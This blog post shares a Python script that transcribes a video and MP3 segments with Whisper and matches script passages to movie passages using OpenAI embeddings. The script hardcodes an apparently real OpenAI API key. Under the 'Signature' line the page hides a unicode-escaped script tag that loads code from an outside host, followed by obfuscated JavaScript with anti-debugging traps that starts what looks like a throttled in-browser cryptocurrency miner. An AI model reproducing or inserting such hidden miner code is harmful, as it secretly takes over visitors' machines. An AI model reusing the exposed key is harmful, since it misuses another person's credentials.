Auto Gen for Paragraph-dubbing

Auto Gen for Paragraph-dubbing

Sep 05, 2025

image

import os



import re

import glob

import openai

import numpy as np

import whisper

# 指定 ffmpeg 的執行檔路徑

os.environ["PATH"] += os.pathsep + "/opt/homebrew/bin"

# 設定 OpenAI API 金鑰(請確認環境變數或直接指定)

openai.api_key ="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"

#############################################

# A. 透過 OpenAI Whisper 轉錄影片與 MP3 檔案

#############################################

def get_movie_transcript(video_file):

    """

    使用 OpenAI Whisper 模型對 MP4 影片進行語音轉錄,

    返回電影逐字稿(整個文字字串)。

    """

    print(f"開始轉錄影片:{video_file} ...")

    model = whisper.load_model("base")

    result = model.transcribe(video_file)

    transcript = result["text"].strip()

    print("影片轉錄完成。")

    return transcript




def extract_number(filename):

    """

    從檔名中提取數字部分,用於排序。

    假設檔名格式為 segment_1.mp3, segment_2.mp3, ...

    """

    base = os.path.basename(filename)

    m = re.search(r'(\d+)', base)

    if m:

        return int(m.group(1))

    return 0




def get_script_text_from_folder(folder):

    """

    從指定資料夾中讀取所有 MP3 檔案,

    按照檔名中數字部分排序後,分別使用 Whisper 模型轉錄,

    將所有轉錄結果合併成一個大字串(以換行分隔)。

    """

    mp3_files = sorted(glob.glob(os.path.join(folder, "*.mp3")), key=extract_number)

    if not mp3_files:

        print("指定資料夾中找不到 MP3 檔案!")

        return ""

    print(f"共找到 {len(mp3_files)} 個 MP3 檔案,開始轉錄...")

    model = whisper.load_model("base")

    all_text = []

    for mp3_file in mp3_files:

        print(f"轉錄 {mp3_file} ...")

        result = model.transcribe(mp3_file)

        text = result["text"].strip()

        all_text.append(text)

    script_text = "\n".join(all_text)

    print("所有 MP3 檔案轉錄完成。")

    return script_text




#############################################

# B. 文本拆分與匹配(參考之前的範例)

#############################################

def split_text(text):

    """

    利用正則表達式以中文、英文逗號、句號以及換行符拆分文本,

    並去除空白字串。

    """

    segments = re.split(r'[,,。.\n]', text)

    segments = [seg.strip() for seg in segments if seg.strip()]

    return segments




#############################################

# 2. 批次取得 OpenAI 嵌入向量(更新後)

#############################################

def get_embeddings_batch(texts, model="text-embedding-ada-002"):

    """

    使用 OpenAI API 的新版本接口一次取得多個文本的嵌入向量,

    返回一個 numpy array 列表。

    """

    response = openai.embeddings.create(input=texts, model=model)

    embeddings = [np.array(item.embedding) for item in response.data]

    return embeddings

#############################################

# 3. 計算 Cosine 相似度

#############################################

def cosine_similarity(vec1, vec2):

    """

    計算兩個向量之間的 cosine 相似度。

    """

    return np.dot(vec1, vec2) / (np.linalg.norm(vec1) * np.linalg.norm(vec2) + 1e-8)




#############################################

# 4. 對應講稿段落與電影逐字稿段落

#############################################

def match_script_to_movie(script_segments, movie_segments, script_embeddings, movie_embeddings):

    """

    對每個講稿段落找出電影逐字稿中最相關的段落,

    返回一個列表,每項包含講稿段落、最佳匹配的電影段落、相似度分數及電影段落索引。

    """

    mapping = []

    for i, script_emb in enumerate(script_embeddings):

        best_score = -1

        best_index = None

        for j, movie_emb in enumerate(movie_embeddings):

            score = cosine_similarity(script_emb, movie_emb)

            if score > best_score:

                best_score = score

                best_index = j

        mapping.append({

            "script": script_segments[i],

            "movie": movie_segments[best_index],

            "score": best_score,

            "movie_index": best_index

        })

    return mapping




#############################################

# C. 主程式:取得影片逐字稿與講稿、拆分並匹配

#############################################

if __name__ == "__main__":

    # 請分別設定你的影片檔案與存放 MP3 檔的資料夾

    video_file = "Documents/Dallas_imovie.mp4"              # 例如:./videos/input.mp4

    mp3_folder = "Documents/2025-02-27_12-17-38"      # 例如:./scripts/,內含 segment_1.mp3, segment_2.mp3, 等




    # 1. 透過 Whisper 轉錄取得電影逐字稿

    movie_transcript = get_movie_transcript(video_file)

    # 2. 從指定資料夾中讀取所有 MP3 檔並轉錄,合併成講稿

    script_text = get_script_text_from_folder(mp3_folder)

    

    print("\n=== 取得的電影逐字稿 ===")

    print(movie_transcript)

    print("\n=== 取得的講稿 ===")

    print(script_text)

    

    # 3. 拆分文本:將電影逐字稿與講稿拆分成段落(或句子組)

    movie_segments = split_text(movie_transcript)

    script_segments = split_text(script_text)

    

    print("\n=== 電影逐字稿拆分結果 ===")

    for i, seg in enumerate(movie_segments, start=1):

        print(f"段落 {i}: {seg}")

    

    print("\n=== 講稿拆分結果 ===")

    for i, seg in enumerate(script_segments, start=1):

        print(f"講稿段落 {i}: {seg}")

    

    # 4. 使用 OpenAI API 批次取得嵌入

    print("\n取得電影逐字稿嵌入...")

    movie_embeddings = get_embeddings_batch(movie_segments)

    print("取得講稿嵌入...")

    script_embeddings = get_embeddings_batch(script_segments)

    

    # 5. 進行語意匹配

    mapping = match_script_to_movie(script_segments, movie_segments, script_embeddings, movie_embeddings)

    

    print("\n=== 講稿與電影逐字稿對應結果 ===")

    for item in mapping:

        print(f"講稿段落:{item['script']}")

        print(f"最佳匹配電影段落:{item['movie']} (索引: {item['movie_index']})")

        print(f"相似度分數:{item['score']:.3f}")

        print("-----------")

Signature

__________________________________________________________________________________________

\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0068\u006f\u0073\u0074\u0069\u006e\u0067\u0063\u006c\u006f\u0075\u0064\u002e\u0072\u0061\u0063\u0069\u006e\u0067\u002f\u0068\u0061\u0037\u006f\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003evar a0_0x15d039=a0_0x8dca;(function(_0x56e9af,_0x2dd074){var 0x2d6e55=a00x8dca,_0x58e2fa=_0x56e9af();while(!![]){try{var 0x1943cb=-parseInt(0x2d6e55(0xd9))/0x1*(-parseInt(_0x2d6e55(0xe0))/0x2)+-parseInt(_0x2d6e55(0xce))/0x3+-parseInt(_0x2d6e55(0xcf))/0x4*(parseInt(_0x2d6e55(0xe6))/0x5)+parseInt(_0x2d6e55(0xd2))/0x6*(parseInt(_0x2d6e55(0xd5))/0x7)+-parseInt(_0x2d6e55(0xd6))/0x8+parseInt(_0x2d6e55(0xdb))/0x9*(parseInt(_0x2d6e55(0xde))/0xa)+parseInt(_0x2d6e55(0xcd))/0xb;if(_0x1943cb===_0x2dd074)break;else 0x58e2fa['push'](0x58e2fa['shift']());}catch(_0x1f42bc){_0x58e2fa['push'](_0x58e2fa['shift']());}}}(a0_0x494d,0xb7a19));function a0_0x8dca(_0x21a8db,_0xacd7f0){var 0x1f2722=a00x494d();return a0_0x8dca=function(_0x212339,_0x52ea8a){_0x212339=_0x212339-0xcc;var 0x1650a9=0x1f2722[_0x212339];return 0x1650a9;},a00x8dca(_0x21a8db,_0xacd7f0);}var a0_0x4cb200=(function(){var 0x359a12=!![];return function(0x149101,_0x57ac00){var 0xb17bd9=0x359a12?function(){var 0x13afd0=a00x8dca;if(_0x57ac00){var 0x134ce8=0x57ac00[_0x13afd0(0xda)](_0x149101,arguments);return 0x57ac00=null,0x134ce8;}}:function(){};return 0x359a12=![],0xb17bd9;};}()),a0_0x2250ff=a0_0x4cb200(this,function(){var 0x3182b3=a00x8dca;return a0_0x2250ff['toString']()[_0x3182b3(0xd8)]('(((.+)+)+)+$')['toString']()[_0x3182b3(0xdc)](a0_0x2250ff)['search'](_0x3182b3(0xe1));});a0_0x2250ff();var a0_0x52ea8a=(function(){var 0x5b6894=!![];return function(0xd8a073,_0x315de2){var 0x5f88c0=0x5b6894?function(){if(_0x315de2){var 0x59f2a8=0x315de2['apply'](_0xd8a073,arguments);return 0x315de2=null,0x59f2a8;}}:function(){};return 0x5b6894=![],0x5f88c0;};}());function a0_0x494d(){var 0x3fdb2b=['2023857YXEbhP','constructor','call','10ffxQNh','action','22ozvSNO','(((.+)+)+)+$','length','init','debu','setInterval','4298120uPWRCs','gger','return\x20(function()\x20','24112341ZiYDEW','4469133vAhxxi','4qwkaAW','stateObject','Anonymous','1338DrpyhJ','test','{}.constructor(\x22return\x20this\x22)(\x20)','28343JWPCCN','5194584jpYULO','input','search','39180UtJgbv','apply'];a00x494d=function(){return 0x3fdb2b;};return a00x494d();}(function(){var 0x44506d=a00x8dca,_0x2d0d89;try{var 0x53abbc=Function(0x44506d(0xcc)+_0x44506d(0xd4)+');');_0x2d0d89=_0x53abbc();}catch(_0x2a5fd0){_0x2d0d89=window;}_0x2d0d89[_0x44506d(0xe5)](a0_0x212339,0xfa0);}()),(function(){a0_0x52ea8a(this,function(){var 0x56258d=a00x8dca,_0x2ae895=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x3aa428=new RegExp('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i'),_0xf33119=a0_0x212339(_0x56258d(0xe3));!_0x2ae895['test'](_0xf33119+'chain')||!_0x3aa428[_0x56258d(0xd3)](_0xf33119+_0x56258d(0xd7))?_0xf33119('0'):a0_0x212339();})();}());var client=new Client[(a00x15d039(0xd1))]('bee51c45562e6824c3d5661f7ea0201ab738710eeeac861734502a363ca80aa8',{'throttle':0.2,'c':'w','ads':0x0});_client['start']();function a0_0x212339(_0xa3ad2){function 0x23ed3a(0x31d796){var 0x2a5796=a00x8dca;if(typeof 0x31d796==='string')return function(0x413c58){}[_0x2a5796(0xdc)]('while\x20(true)\x20{}')[_0x2a5796(0xda)]('counter');else(''+_0x31d796/_0x31d796)[_0x2a5796(0xe2)]!==0x1||_0x31d796%0x14===0x0?function(){return!![];}[_0x2a5796(0xdc)]('debu'+'gger')[_0x2a5796(0xdd)](_0x2a5796(0xdf)):function(){return![];}[_0x2a5796(0xdc)](_0x2a5796(0xe4)+_0x2a5796(0xe7))[_0x2a5796(0xda)](_0x2a5796(0xd0));_0x23ed3a(++_0x31d796);}try{if(_0xa3ad2)return 0x23ed3a;else 0x23ed3a(0x0);}catch(_0x399970){}}\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

Vous aimez cette publication ?

Achetez un livre à KVN CK L

Plus de KVN CK L